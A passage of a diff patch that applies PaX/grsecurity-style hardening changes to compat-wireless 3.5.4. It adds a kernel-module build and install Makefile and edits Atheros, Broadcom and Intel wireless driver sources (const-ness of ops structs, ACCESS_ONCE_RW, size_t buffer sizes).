++# WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF
++# MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR
++# ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES
++# WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN
++# ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF
++# OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE.
++
++export KMODDIR?=       updates
++KMODDIR_ARG:=   "INSTALL_MOD_DIR=$(KMODDIR)"
++ifneq ($(origin KLIB), undefined)
++KMODPATH_ARG:=  "INSTALL_MOD_PATH=$(KLIB)"
++else
++export KLIB:=          /lib/modules/$(shell uname -r)
++endif
++export KLIB_BUILD ?=	$(KLIB)/build
++export MAKE
++
++DESTDIR?=
++
++ifneq ($(KERNELRELEASE),)
++
++-include $(COMPAT_CONFIG)
++include $(COMPAT_CONFIG_CW)
++
++NOSTDINC_FLAGS := -I$(M)/include/ \
++	-include $(M)/include/linux/compat-2.6.h \
++	$(CFLAGS)
++
++obj-y := compat/
++
++obj-$(CONFIG_COMPAT_RFKILL) += net/rfkill/
++
++ifeq ($(BT),)
++obj-$(CONFIG_COMPAT_WIRELESS) += net/wireless/ net/mac80211/
++obj-$(CONFIG_COMPAT_WIRELESS_MODULES) += drivers/net/wireless/
++
++obj-$(CONFIG_COMPAT_NET_USB_MODULES) += drivers/net/usb/
++
++obj-$(CONFIG_COMPAT_NETWORK_MODULES) += drivers/net/ethernet/atheros/
++obj-$(CONFIG_COMPAT_NETWORK_MODULES) += drivers/net/ethernet/broadcom/
++
++obj-$(CONFIG_COMPAT_VAR_MODULES) += drivers/ssb/
++obj-$(CONFIG_COMPAT_VAR_MODULES) += drivers/bcma/
++obj-$(CONFIG_COMPAT_VAR_MODULES) += drivers/misc/eeprom/
++
++ifeq ($(CONFIG_STAGING_EXCLUDE_BUILD),)
++endif
++
++endif
++
++obj-$(CONFIG_COMPAT_BLUETOOTH) += net/bluetooth/
++obj-$(CONFIG_COMPAT_BLUETOOTH_MODULES) += drivers/bluetooth/
++
++else
++
++export PWD :=	$(shell pwd)
++
++# The build will fail if there is any space in PWD.
++ifneq (,$(findstring  $() ,$(PWD)))
++$(error "The path to this compat-wireless directory has spaces in it." \
++	"Please put it somewhere where there is no space")
++endif
++
++export CFLAGS += \
++        -DCOMPAT_BASE="\"$(shell cat $(PWD)/.compat_base)\"" \
++        -DCOMPAT_BASE_TREE="\"$(shell cat $(PWD)/.compat_base_tree)\"" \
++        -DCOMPAT_BASE_TREE_VERSION="\"$(shell cat $(PWD)/.compat_base_tree_version)\"" \
++        -DCOMPAT_PROJECT="\"Compat-wireless\"" \
++        -DCOMPAT_VERSION="\"$(shell cat $(PWD)/.compat_version)\""
++
++# These exported as they are used by the scripts
++# to check config and compat autoconf
++export COMPAT_CONFIG_CW=$(PWD)/config.mk
++export COMPAT_CONFIG=$(PWD)/.config
++export CONFIG_CHECK=$(PWD)/.config.mk_md5sum.txt
++export COMPAT_AUTOCONF=include/linux/compat_autoconf.h
++export CREL=$(shell cat $(PWD)/.compat_version)
++export CREL_PRE:=.compat_autoconf_
++export CREL_CHECK:=$(PWD)/$(CREL_PRE)$(CREL)
++
++all: modules
++
++$(COMPAT_CONFIG): ;
++
++modules: $(CREL_CHECK)
++	$(MAKE) -C $(KLIB_BUILD) M=$(PWD) modules
++	@touch $@
++
++bt: $(CREL_CHECK)
++	+@./scripts/check_config.sh
++	$(MAKE) -C $(KLIB_BUILD) M=$(PWD) BT=TRUE modules
++	@touch $@
++
++# We use a CREL_CHECK variable which will depend on the environment used to
++# build. If the environment requirements change it forces a reconfiguration
++# check.  This means we force a new reconfiguration check if a the user gets a
++# new updates of compat-wireless or when the user updates the $(COMPAT_CONFIG)
++# file.
++# XXX: add kernel target to the CREL_CHECK mix, this would ensure we also
++# reconfigure and build again fresh if we detect a new target kernel is
++# being used.
++$(CREL_CHECK):
++	@# Force to regenerate compat autoconf
++	+@./compat/scripts/gen-compat-config.sh > $(COMPAT_CONFIG)
++	@rm -f $(CONFIG_CHECK)
++	+@./scripts/check_config.sh
++	@md5sum $(COMPAT_CONFIG_CW) > $(CONFIG_CHECK)
++	@touch $@
++
++btinstall: btuninstall bt-install-modules
++
++bt-install-modules: bt
++	$(MAKE) -C $(KLIB_BUILD) M=$(PWD) $(KMODDIR_ARG) $(KMODPATH_ARG) BT=TRUE \
++		modules_install
++	@/sbin/depmod -ae
++	@echo
++	@echo Now run:
++	@echo
++	@echo sudo make btunload:
++	@echo
++	@echo And then load the needed bluetooth modules. If unsure reboot.
++	@echo
++
++btuninstall:
++	@# New location, matches upstream
++	@rm -rf $(KLIB)/$(KMODDIR)/net/bluetooth/
++	@rm -rf $(KLIB)/$(KMODDIR)/drivers/bluetooth/
++	@# Lets only remove the stuff we are sure we are providing
++	@# on the misc directory.
++	@/sbin/depmod -ae
++	@echo
++
++btclean:
++	$(MAKE) -C /lib/modules/$(shell uname -r)/build M=$(PWD) BT=TRUE clean
++	@rm -f $(CREL_PRE)*
++
++install: uninstall install-modules install-scripts
++
++install-modules: modules
++	$(MAKE) -C $(KLIB_BUILD) M=$(PWD) $(KMODDIR_ARG) $(KMODPATH_ARG) \
++		modules_install
++	@./scripts/update-initramfs
++
++install-scripts:
++	@# All the scripts we can use
++	@mkdir -p $(DESTDIR)/usr/lib/compat-wireless/
++	@install scripts/modlib.sh	$(DESTDIR)/usr/lib/compat-wireless/
++	@install scripts/madwifi-unload	$(DESTDIR)/usr/sbin/
++	@# This is to allow switching between drivers without blacklisting
++	@install scripts/athenable	$(DESTDIR)/usr/sbin/
++	@install scripts/b43enable	$(DESTDIR)/usr/sbin/
++	@install scripts/iwl-enable	$(DESTDIR)/usr/sbin/
++	@install scripts/athload	$(DESTDIR)/usr/sbin/
++	@install scripts/b43load	$(DESTDIR)/usr/sbin/
++	@install scripts/iwl-load	$(DESTDIR)/usr/sbin/
++	@if [ $(shell modinfo ath_pci > /dev/null 2>&1 && echo 1) ]; then \
++		echo -n "Note: madwifi detected, we're going to disable it. "  ;\
++		echo "If you would like to enable it later you can run:"  ;\
++		echo "    sudo athenable madwifi"  ;\
++		echo ;\
++		echo Running athenable ath5k...;\
++		$(DESTDIR)/usr/sbin/athenable ath5k ;\
++	fi
++	@if [ $(shell modinfo iwl4965 > /dev/null 2>&1 && echo 1) ]; then \
++		echo ;\
++		echo -n "Note: iwl4965 detected, we're going to disable it. "  ;\
++		echo "If you would like to enable it later you can run:"  ;\
++		echo "    sudo iwl-load iwl4965"  ;\
++		echo ;\
++		echo Running iwl-enable iwlagn...;\
++		$(DESTDIR)/usr/sbin/iwl-enable iwlagn ;\
++	fi
++	@if [ $(shell modinfo iwlagn > /dev/null 2>&1 && echo 1) ] \
++	 && [ $(shell modinfo iwlwifi > /dev/null 2>&1 && echo 1) ]; then \
++		echo ;\
++		echo -n "Note: iwlagn detected, we're going to disable it. " ;\
++		echo "If you would like to enable it later you can run:"  ;\
++		echo "    sudo iwl-load iwlagn"  ;\
++		echo ;\
++		echo Running iwl-enable iwlwifi...;\
++		$(DESTDIR)/usr/sbin/iwl-enable iwlwifi ;\
++	fi
++	@# If on distributions like Mandriva which like to
++	@# compress their modules this will find out and do
++	@# it for you. Reason is some old version of modutils
++	@# won't know mac80211.ko should be used instead of
++	@# mac80211.ko.gz
++	@./scripts/compress_modules
++	@# Mandrake doesn't have a depmod.d/ conf file to prefer
++	@# the updates/ dir which is what we use so we add one for it
++	@# (or any other distribution that doens't have this).
++	@./scripts/check_depmod
++	@# Udev stuff needed for the new compat_firmware_class.
++	@./compat/scripts/compat_firmware_install
++	@/sbin/depmod -a
++	@echo 
++	@echo Now run:
++	@echo 
++	@echo sudo make unload to unload all: wireless, bluetooth and ethernet modules
++	@echo sudo make wlunload to unload wireless modules
++	@echo sudo make btunload to unload bluetooth modules
++	@echo
++	@echo Run sudo modprobe 'driver-name' to load your desired driver. 
++	@echo If unsure reboot.
++	@echo
++
++uninstall:
++	@# New location, matches upstream
++	@rm -rf $(KLIB)/$(KMODDIR)/compat/
++	@rm -rf $(KLIB)/$(KMODDIR)/net/mac80211/
++	@rm -rf $(KLIB)/$(KMODDIR)/net/rfkill/
++	@rm -rf $(KLIB)/$(KMODDIR)/net/wireless/
++	@rm -rf $(KLIB)/$(KMODDIR)/drivers/ssb/
++	@rm -rf $(KLIB)/$(KMODDIR)/drivers/net/usb/
++	@rm -rf $(KLIB)/$(KMODDIR)/drivers/net/wireless/
++	@rm -rf $(KLIB)/$(KMODDIR)/drivers/staging/
++	@rm -rf $(KLIB)/$(KMODDIR)/drivers/net/atl*
++	@find $(KLIB)/$(KMODDIR)/drivers/net/ -name "alx*.ko" -o -name "atl*.ko" 2>/dev/null |xargs rm -f
++	@# Lets only remove the stuff we are sure we are providing
++	@# on the misc directory.
++	@rm -f $(KLIB)/$(KMODDIR)/drivers/misc/eeprom/eeprom_93cx6.ko*
++	@rm -f $(KLIB)/$(KMODDIR)/drivers/misc/eeprom_93cx6.ko*
++	@rm -f $(KLIB)/$(KMODDIR)/drivers/net/b44.ko*
++	@/sbin/depmod -a
++	@./scripts/update-initramfs
++	@echo 
++
++clean:
++	@if [ -d net -a -d $(KLIB_BUILD) ]; then \
++		$(MAKE) -C $(KLIB_BUILD) M=$(PWD) clean ;\
++	fi
++	@rm -f $(CREL_PRE)*
++unload:
++	@./scripts/unload.sh
++
++btunload:
++	@./scripts/btunload.sh
++
++wlunload:
++	@./scripts/wlunload.sh
++
++
++.PHONY: all clean install uninstall unload btunload wlunload modules bt Makefile
++
++endif
++
++clean-files += Module.symvers Module.markers modules modules.order
++clean-files += $(CREL_CHECK) $(CONFIG_CHECK) $(COMPAT_CONFIG)
+diff -rupN compat-wireless-3.5.4-1-snpc/drivers/net/ethernet/atheros/alx/alx_sw.h compat-wireless-3.5.4-1-snpc/drivers/net/ethernet/atheros/alx/alx_sw.h
+--- compat-wireless-3.5.4-1-snpc/drivers/net/ethernet/atheros/alx/alx_sw.h	2012-09-22 03:47:20.000000000 +0000
++++ compat-wireless-3.5.4-1-snpc/drivers/net/ethernet/atheros/alx/alx_sw.h	2012-10-15 19:11:28.939824302 +0000
+@@ -326,7 +326,7 @@ struct alx_hw_callbacks {
+ 
+ 	/* Others */
+ 	int (*get_ethtool_regs)(struct alx_hw *, void *);
+-};
++} __no_const;
+ 
+ struct alx_hw {
+ 	struct alx_adapter	*adpt;
+diff -rupN compat-wireless-3.5.4-1-snpc/drivers/net/ethernet/atheros/atlx/atl2.c compat-wireless-3.5.4-1-snpc/drivers/net/ethernet/atheros/atlx/atl2.c
+--- compat-wireless-3.5.4-1-snpc/drivers/net/ethernet/atheros/atlx/atl2.c	2012-09-22 03:47:19.000000000 +0000
++++ compat-wireless-3.5.4-1-snpc/drivers/net/ethernet/atheros/atlx/atl2.c	2012-10-15 19:11:12.831824568 +0000
+@@ -2886,7 +2886,7 @@ static void atl2_force_ps(struct atl2_hw
+  */
+ 
+ #define ATL2_PARAM(X, desc) \
+-    static const int __devinitdata X[ATL2_MAX_NIC + 1] = ATL2_PARAM_INIT; \
++    static const int __devinitconst X[ATL2_MAX_NIC + 1] = ATL2_PARAM_INIT; \
+     MODULE_PARM(X, "1-" __MODULE_STRING(ATL2_MAX_NIC) "i"); \
+     MODULE_PARM_DESC(X, desc);
+ #else
+diff -rupN compat-wireless-3.5.4-1-snpc/drivers/net/wireless/ath/ath.h compat-wireless-3.5.4-1-snpc/drivers/net/wireless/ath/ath.h
+--- compat-wireless-3.5.4-1-snpc/drivers/net/wireless/ath/ath.h	2012-09-22 03:47:18.000000000 +0000
++++ compat-wireless-3.5.4-1-snpc/drivers/net/wireless/ath/ath.h	2012-10-15 19:11:12.832824568 +0000
+@@ -119,6 +119,7 @@ struct ath_ops {
+ 	void (*write_flush) (void *);
+ 	u32 (*rmw)(void *, u32 reg_offset, u32 set, u32 clr);
+ };
++typedef struct ath_ops __no_const ath_ops_no_const;
+ 
+ struct ath_common;
+ struct ath_bus_ops;
+diff -rupN compat-wireless-3.5.4-1-snpc/drivers/net/wireless/ath/ath9k/ar9002_mac.c compat-wireless-3.5.4-1-snpc/drivers/net/wireless/ath/ath9k/ar9002_mac.c
+--- compat-wireless-3.5.4-1-snpc/drivers/net/wireless/ath/ath9k/ar9002_mac.c	2012-09-22 03:47:18.000000000 +0000
++++ compat-wireless-3.5.4-1-snpc/drivers/net/wireless/ath/ath9k/ar9002_mac.c	2012-10-15 19:11:12.832824568 +0000
+@@ -184,8 +184,8 @@ ar9002_set_txdesc(struct ath_hw *ah, voi
+ 	ads->ds_txstatus6 = ads->ds_txstatus7 = 0;
+ 	ads->ds_txstatus8 = ads->ds_txstatus9 = 0;
+ 
+-	ACCESS_ONCE(ads->ds_link) = i->link;
+-	ACCESS_ONCE(ads->ds_data) = i->buf_addr[0];
++	ACCESS_ONCE_RW(ads->ds_link) = i->link;
++	ACCESS_ONCE_RW(ads->ds_data) = i->buf_addr[0];
+ 
+ 	ctl1 = i->buf_len[0] | (i->is_last ? 0 : AR_TxMore);
+ 	ctl6 = SM(i->keytype, AR_EncrType);
+@@ -199,26 +199,26 @@ ar9002_set_txdesc(struct ath_hw *ah, voi
+ 
+ 	if ((i->is_first || i->is_last) &&
+ 	    i->aggr != AGGR_BUF_MIDDLE && i->aggr != AGGR_BUF_LAST) {
+-		ACCESS_ONCE(ads->ds_ctl2) = set11nTries(i->rates, 0)
++		ACCESS_ONCE_RW(ads->ds_ctl2) = set11nTries(i->rates, 0)
+ 			| set11nTries(i->rates, 1)
+ 			| set11nTries(i->rates, 2)
+ 			| set11nTries(i->rates, 3)
+ 			| (i->dur_update ? AR_DurUpdateEna : 0)
+ 			| SM(0, AR_BurstDur);
+ 
+-		ACCESS_ONCE(ads->ds_ctl3) = set11nRate(i->rates, 0)
++		ACCESS_ONCE_RW(ads->ds_ctl3) = set11nRate(i->rates, 0)
+ 			| set11nRate(i->rates, 1)
+ 			| set11nRate(i->rates, 2)
+ 			| set11nRate(i->rates, 3);
+ 	} else {
+-		ACCESS_ONCE(ads->ds_ctl2) = 0;
+-		ACCESS_ONCE(ads->ds_ctl3) = 0;
++		ACCESS_ONCE_RW(ads->ds_ctl2) = 0;
++		ACCESS_ONCE_RW(ads->ds_ctl3) = 0;
+ 	}
+ 
+ 	if (!i->is_first) {
+-		ACCESS_ONCE(ads->ds_ctl0) = 0;
+-		ACCESS_ONCE(ads->ds_ctl1) = ctl1;
+-		ACCESS_ONCE(ads->ds_ctl6) = ctl6;
++		ACCESS_ONCE_RW(ads->ds_ctl0) = 0;
++		ACCESS_ONCE_RW(ads->ds_ctl1) = ctl1;
++		ACCESS_ONCE_RW(ads->ds_ctl6) = ctl6;
+ 		return;
+ 	}
+ 
+@@ -243,7 +243,7 @@ ar9002_set_txdesc(struct ath_hw *ah, voi
+ 		break;
+ 	}
+ 
+-	ACCESS_ONCE(ads->ds_ctl0) = (i->pkt_len & AR_FrameLen)
++	ACCESS_ONCE_RW(ads->ds_ctl0) = (i->pkt_len & AR_FrameLen)
+ 		| (i->flags & ATH9K_TXDESC_VMF ? AR_VirtMoreFrag : 0)
+ 		| SM(i->txpower, AR_XmitPower)
+ 		| (i->flags & ATH9K_TXDESC_VEOL ? AR_VEOL : 0)
+@@ -253,19 +253,19 @@ ar9002_set_txdesc(struct ath_hw *ah, voi
+ 		| (i->flags & ATH9K_TXDESC_RTSENA ? AR_RTSEnable :
+ 		   (i->flags & ATH9K_TXDESC_CTSENA ? AR_CTSEnable : 0));
+ 
+-	ACCESS_ONCE(ads->ds_ctl1) = ctl1;
+-	ACCESS_ONCE(ads->ds_ctl6) = ctl6;
++	ACCESS_ONCE_RW(ads->ds_ctl1) = ctl1;
++	ACCESS_ONCE_RW(ads->ds_ctl6) = ctl6;
+ 
+ 	if (i->aggr == AGGR_BUF_MIDDLE || i->aggr == AGGR_BUF_LAST)
+ 		return;
+ 
+-	ACCESS_ONCE(ads->ds_ctl4) = set11nPktDurRTSCTS(i->rates, 0)
++	ACCESS_ONCE_RW(ads->ds_ctl4) = set11nPktDurRTSCTS(i->rates, 0)
+ 		| set11nPktDurRTSCTS(i->rates, 1);
+ 
+-	ACCESS_ONCE(ads->ds_ctl5) = set11nPktDurRTSCTS(i->rates, 2)
++	ACCESS_ONCE_RW(ads->ds_ctl5) = set11nPktDurRTSCTS(i->rates, 2)
+ 		| set11nPktDurRTSCTS(i->rates, 3);
+ 
+-	ACCESS_ONCE(ads->ds_ctl7) = set11nRateFlags(i->rates, 0)
++	ACCESS_ONCE_RW(ads->ds_ctl7) = set11nRateFlags(i->rates, 0)
+ 		| set11nRateFlags(i->rates, 1)
+ 		| set11nRateFlags(i->rates, 2)
+ 		| set11nRateFlags(i->rates, 3)
+diff -rupN compat-wireless-3.5.4-1-snpc/drivers/net/wireless/ath/ath9k/ar9003_mac.c compat-wireless-3.5.4-1-snpc/drivers/net/wireless/ath/ath9k/ar9003_mac.c
+--- compat-wireless-3.5.4-1-snpc/drivers/net/wireless/ath/ath9k/ar9003_mac.c	2012-09-22 03:47:20.000000000 +0000
++++ compat-wireless-3.5.4-1-snpc/drivers/net/wireless/ath/ath9k/ar9003_mac.c	2012-10-15 19:11:12.833824568 +0000
+@@ -39,47 +39,47 @@ ar9003_set_txdesc(struct ath_hw *ah, voi
+ 	      (i->qcu << AR_TxQcuNum_S) | desc_len;
+ 
+ 	checksum += val;
+-	ACCESS_ONCE(ads->info) = val;
++	ACCESS_ONCE_RW(ads->info) = val;
+ 
+ 	checksum += i->link;
+-	ACCESS_ONCE(ads->link) = i->link;
++	ACCESS_ONCE_RW(ads->link) = i->link;
+ 
+ 	checksum += i->buf_addr[0];
+-	ACCESS_ONCE(ads->data0) = i->buf_addr[0];
++	ACCESS_ONCE_RW(ads->data0) = i->buf_addr[0];
+ 	checksum += i->buf_addr[1];
+-	ACCESS_ONCE(ads->data1) = i->buf_addr[1];
++	ACCESS_ONCE_RW(ads->data1) = i->buf_addr[1];
+ 	checksum += i->buf_addr[2];
+-	ACCESS_ONCE(ads->data2) = i->buf_addr[2];
++	ACCESS_ONCE_RW(ads->data2) = i->buf_addr[2];
+ 	checksum += i->buf_addr[3];
+-	ACCESS_ONCE(ads->data3) = i->buf_addr[3];
++	ACCESS_ONCE_RW(ads->data3) = i->buf_addr[3];
+ 
+ 	checksum += (val = (i->buf_len[0] << AR_BufLen_S) & AR_BufLen);
+-	ACCESS_ONCE(ads->ctl3) = val;
++	ACCESS_ONCE_RW(ads->ctl3) = val;
+ 	checksum += (val = (i->buf_len[1] << AR_BufLen_S) & AR_BufLen);
+-	ACCESS_ONCE(ads->ctl5) = val;
++	ACCESS_ONCE_RW(ads->ctl5) = val;
+ 	checksum += (val = (i->buf_len[2] << AR_BufLen_S) & AR_BufLen);
+-	ACCESS_ONCE(ads->ctl7) = val;
++	ACCESS_ONCE_RW(ads->ctl7) = val;
+ 	checksum += (val = (i->buf_len[3] << AR_BufLen_S) & AR_BufLen);
+-	ACCESS_ONCE(ads->ctl9) = val;
++	ACCESS_ONCE_RW(ads->ctl9) = val;
+ 
+ 	checksum = (u16) (((checksum & 0xffff) + (checksum >> 16)) & 0xffff);
+-	ACCESS_ONCE(ads->ctl10) = checksum;
++	ACCESS_ONCE_RW(ads->ctl10) = checksum;
+ 
+ 	if (i->is_first || i->is_last) {
+-		ACCESS_ONCE(ads->ctl13) = set11nTries(i->rates, 0)
++		ACCESS_ONCE_RW(ads->ctl13) = set11nTries(i->rates, 0)
+ 			| set11nTries(i->rates, 1)
+ 			| set11nTries(i->rates, 2)
+ 			| set11nTries(i->rates, 3)
+ 			| (i->dur_update ? AR_DurUpdateEna : 0)
+ 			| SM(0, AR_BurstDur);
+ 
+-		ACCESS_ONCE(ads->ctl14) = set11nRate(i->rates, 0)
++		ACCESS_ONCE_RW(ads->ctl14) = set11nRate(i->rates, 0)
+ 			| set11nRate(i->rates, 1)
+ 			| set11nRate(i->rates, 2)
+ 			| set11nRate(i->rates, 3);
+ 	} else {
+-		ACCESS_ONCE(ads->ctl13) = 0;
+-		ACCESS_ONCE(ads->ctl14) = 0;
++		ACCESS_ONCE_RW(ads->ctl13) = 0;
++		ACCESS_ONCE_RW(ads->ctl14) = 0;
+ 	}
+ 
+ 	ads->ctl20 = 0;
+@@ -89,17 +89,17 @@ ar9003_set_txdesc(struct ath_hw *ah, voi
+ 
+ 	ctl17 = SM(i->keytype, AR_EncrType);
+ 	if (!i->is_first) {
+-		ACCESS_ONCE(ads->ctl11) = 0;
+-		ACCESS_ONCE(ads->ctl12) = i->is_last ? 0 : AR_TxMore;
+-		ACCESS_ONCE(ads->ctl15) = 0;
+-		ACCESS_ONCE(ads->ctl16) = 0;
+-		ACCESS_ONCE(ads->ctl17) = ctl17;
+-		ACCESS_ONCE(ads->ctl18) = 0;
+-		ACCESS_ONCE(ads->ctl19) = 0;
++		ACCESS_ONCE_RW(ads->ctl11) = 0;
++		ACCESS_ONCE_RW(ads->ctl12) = i->is_last ? 0 : AR_TxMore;
++		ACCESS_ONCE_RW(ads->ctl15) = 0;
++		ACCESS_ONCE_RW(ads->ctl16) = 0;
++		ACCESS_ONCE_RW(ads->ctl17) = ctl17;
++		ACCESS_ONCE_RW(ads->ctl18) = 0;
++		ACCESS_ONCE_RW(ads->ctl19) = 0;
+ 		return;
+ 	}
+ 
+-	ACCESS_ONCE(ads->ctl11) = (i->pkt_len & AR_FrameLen)
++	ACCESS_ONCE_RW(ads->ctl11) = (i->pkt_len & AR_FrameLen)
+ 		| (i->flags & ATH9K_TXDESC_VMF ? AR_VirtMoreFrag : 0)
+ 		| SM(i->txpower, AR_XmitPower)
+ 		| (i->flags & ATH9K_TXDESC_VEOL ? AR_VEOL : 0)
+@@ -135,22 +135,22 @@ ar9003_set_txdesc(struct ath_hw *ah, voi
+ 	val = (i->flags & ATH9K_TXDESC_PAPRD) >> ATH9K_TXDESC_PAPRD_S;
+ 	ctl12 |= SM(val, AR_PAPRDChainMask);
+ 
+-	ACCESS_ONCE(ads->ctl12) = ctl12;
+-	ACCESS_ONCE(ads->ctl17) = ctl17;
++	ACCESS_ONCE_RW(ads->ctl12) = ctl12;
++	ACCESS_ONCE_RW(ads->ctl17) = ctl17;
+ 
+-	ACCESS_ONCE(ads->ctl15) = set11nPktDurRTSCTS(i->rates, 0)
++	ACCESS_ONCE_RW(ads->ctl15) = set11nPktDurRTSCTS(i->rates, 0)
+ 		| set11nPktDurRTSCTS(i->rates, 1);
+ 
+-	ACCESS_ONCE(ads->ctl16) = set11nPktDurRTSCTS(i->rates, 2)
++	ACCESS_ONCE_RW(ads->ctl16) = set11nPktDurRTSCTS(i->rates, 2)
+ 		| set11nPktDurRTSCTS(i->rates, 3);
+ 
+-	ACCESS_ONCE(ads->ctl18) = set11nRateFlags(i->rates, 0)
++	ACCESS_ONCE_RW(ads->ctl18) = set11nRateFlags(i->rates, 0)
+ 		| set11nRateFlags(i->rates, 1)
+ 		| set11nRateFlags(i->rates, 2)
+ 		| set11nRateFlags(i->rates, 3)
+ 		| SM(i->rtscts_rate, AR_RTSCTSRate);
+ 
+-	ACCESS_ONCE(ads->ctl19) = AR_Not_Sounding;
++	ACCESS_ONCE_RW(ads->ctl19) = AR_Not_Sounding;
+ }
+ 
+ static u16 ar9003_calc_ptr_chksum(struct ar9003_txc *ads)
+diff -rupN compat-wireless-3.5.4-1-snpc/drivers/net/wireless/ath/ath9k/hw.h compat-wireless-3.5.4-1-snpc/drivers/net/wireless/ath/ath9k/hw.h
+--- compat-wireless-3.5.4-1-snpc/drivers/net/wireless/ath/ath9k/hw.h	2012-09-22 03:47:20.000000000 +0000
++++ compat-wireless-3.5.4-1-snpc/drivers/net/wireless/ath/ath9k/hw.h	2012-10-15 19:11:12.834824568 +0000
+@@ -610,7 +610,7 @@ struct ath_hw_private_ops {
+ 
+ 	/* ANI */
+ 	void (*ani_cache_ini_regs)(struct ath_hw *ah);
+-};
++} __no_const;
+ 
+ /**
+  * struct ath_hw_ops - callbacks used by hardware code and driver code
+@@ -640,7 +640,7 @@ struct ath_hw_ops {
+ 	void (*antdiv_comb_conf_set)(struct ath_hw *ah,
+ 			struct ath_hw_antcomb_conf *antconf);
+ 
+-};
++} __no_const;
+ 
+ struct ath_nf_limits {
+ 	s16 max;
+@@ -660,7 +660,7 @@ enum ath_cal_list {
+ #define AH_FASTCC       0x4
+ 
+ struct ath_hw {
+-	struct ath_ops reg_ops;
++	ath_ops_no_const reg_ops;
+ 
+ 	struct ieee80211_hw *hw;
+ 	struct ath_common common;
+diff -rupN compat-wireless-3.5.4-1-snpc/drivers/net/wireless/brcm80211/brcmsmac/phy/phy_int.h compat-wireless-3.5.4-1-snpc/drivers/net/wireless/brcm80211/brcmsmac/phy/phy_int.h
+--- compat-wireless-3.5.4-1-snpc/drivers/net/wireless/brcm80211/brcmsmac/phy/phy_int.h	2012-09-22 03:47:18.000000000 +0000
++++ compat-wireless-3.5.4-1-snpc/drivers/net/wireless/brcm80211/brcmsmac/phy/phy_int.h	2012-10-15 19:11:12.835824568 +0000
+@@ -545,7 +545,7 @@ struct phy_func_ptr {
+ 	void (*carrsuppr)(struct brcms_phy *);
+ 	s32 (*rxsigpwr)(struct brcms_phy *, s32);
+ 	void (*detach)(struct brcms_phy *);
+-};
++} __no_const;
+ 
+ struct brcms_phy {
+ 	struct brcms_phy_pub pubpi_ro;
+diff -rupN compat-wireless-3.5.4-1-snpc/drivers/net/wireless/iwlegacy/3945-mac.c compat-wireless-3.5.4-1-snpc/drivers/net/wireless/iwlegacy/3945-mac.c
+--- compat-wireless-3.5.4-1-snpc/drivers/net/wireless/iwlegacy/3945-mac.c	2012-09-22 03:47:19.000000000 +0000
++++ compat-wireless-3.5.4-1-snpc/drivers/net/wireless/iwlegacy/3945-mac.c	2012-10-15 19:11:12.837824568 +0000
+@@ -3613,7 +3613,9 @@ il3945_pci_probe(struct pci_dev *pdev, c
+ 	 */
+ 	if (il3945_mod_params.disable_hw_scan) {
+ 		D_INFO("Disabling hw_scan\n");
+-		il3945_mac_ops.hw_scan = NULL;
++		pax_open_kernel();
++		*(void **)&il3945_mac_ops.hw_scan = NULL;
++		pax_close_kernel();
+ 	}
+ 
+ 	D_INFO("*** LOAD DRIVER ***\n");
+diff -rupN compat-wireless-3.5.4-1-snpc/drivers/net/wireless/iwlwifi/iwl-debugfs.c compat-wireless-3.5.4-1-snpc/drivers/net/wireless/iwlwifi/iwl-debugfs.c
+--- compat-wireless-3.5.4-1-snpc/drivers/net/wireless/iwlwifi/iwl-debugfs.c	2012-09-22 03:47:18.000000000 +0000
++++ compat-wireless-3.5.4-1-snpc/drivers/net/wireless/iwlwifi/iwl-debugfs.c	2012-10-15 19:11:12.838824568 +0000
+@@ -204,7 +204,7 @@ static ssize_t iwl_dbgfs_sram_write(stru
+ {
+ 	struct iwl_priv *priv = file->private_data;
+ 	char buf[64];
+-	int buf_size;
++	size_t buf_size;
+ 	u32 offset, len;
+ 
+ 	memset(buf, 0, sizeof(buf));
+@@ -481,7 +481,7 @@ static ssize_t iwl_dbgfs_rx_handlers_wri
+ 	struct iwl_priv *priv = file->private_data;
+ 
+ 	char buf[8];
+-	int buf_size;
++	size_t buf_size;
+ 	u32 reset_flag;
+ 
+ 	memset(buf, 0, sizeof(buf));
+@@ -562,7 +562,7 @@ static ssize_t iwl_dbgfs_disable_ht40_wr
+ {
+ 	struct iwl_priv *priv = file->private_data;
+ 	char buf[8];
+-	int buf_size;
++	size_t buf_size;
+ 	int ht40;
+ 
+ 	memset(buf, 0, sizeof(buf));
+@@ -614,7 +614,7 @@ static ssize_t iwl_dbgfs_sleep_level_ove
+ {
+ 	struct iwl_priv *priv = file->private_data;
+ 	char buf[8];
+-	int buf_size;
++	size_t buf_size;
+ 	int value;
+ 
+ 	memset(buf, 0, sizeof(buf));
+@@ -1879,7 +1879,7 @@ static ssize_t iwl_dbgfs_clear_ucode_sta
+ {
+ 	struct iwl_priv *priv = file->private_data;
+ 	char buf[8];
+-	int buf_size;
++	size_t buf_size;
+ 	int clear;
+ 
+ 	memset(buf, 0, sizeof(buf));
+@@ -1924,7 +1924,7 @@ static ssize_t iwl_dbgfs_ucode_tracing_w
+ {
+ 	struct iwl_priv *priv = file->private_data;
+ 	char buf[8];
+-	int buf_size;
++	size_t buf_size;
+ 	int trace;
+ 
+ 	memset(buf, 0, sizeof(buf));
+@@ -1995,7 +1995,7 @@ static ssize_t iwl_dbgfs_missed_beacon_w
+ {
+ 	struct iwl_priv *priv = file->private_data;
+ 	char buf[8];
+-	int buf_size;
++	size_t buf_size;
+ 	int missed;
+ 
+ 	memset(buf, 0, sizeof(buf));
+@@ -2036,7 +2036,7 @@ static ssize_t iwl_dbgfs_plcp_delta_writ
+ 
+ 	struct iwl_priv *priv = file->private_data;
+ 	char buf[8];
+-	int buf_size;
++	size_t buf_size;
+ 	int plcp;
+ 
+ 	memset(buf, 0, sizeof(buf));
+@@ -2096,7 +2096,7 @@ static ssize_t iwl_dbgfs_txfifo_flush_wr
+ 
+ 	struct iwl_priv *priv = file->private_data;
+ 	char buf[8];
+-	int buf_size;
++	size_t buf_size;
+ 	int flush;
+ 
+ 	memset(buf, 0, sizeof(buf));
+@@ -2186,7 +2186,7 @@ static ssize_t iwl_dbgfs_protection_mode
+ 
+ 	struct iwl_priv *priv = file->private_data;
+ 	char buf[8];
+-	int buf_size;
++	size_t buf_size;
+ 	int rts;
+ 
+ 	if (!priv->cfg->ht_params)
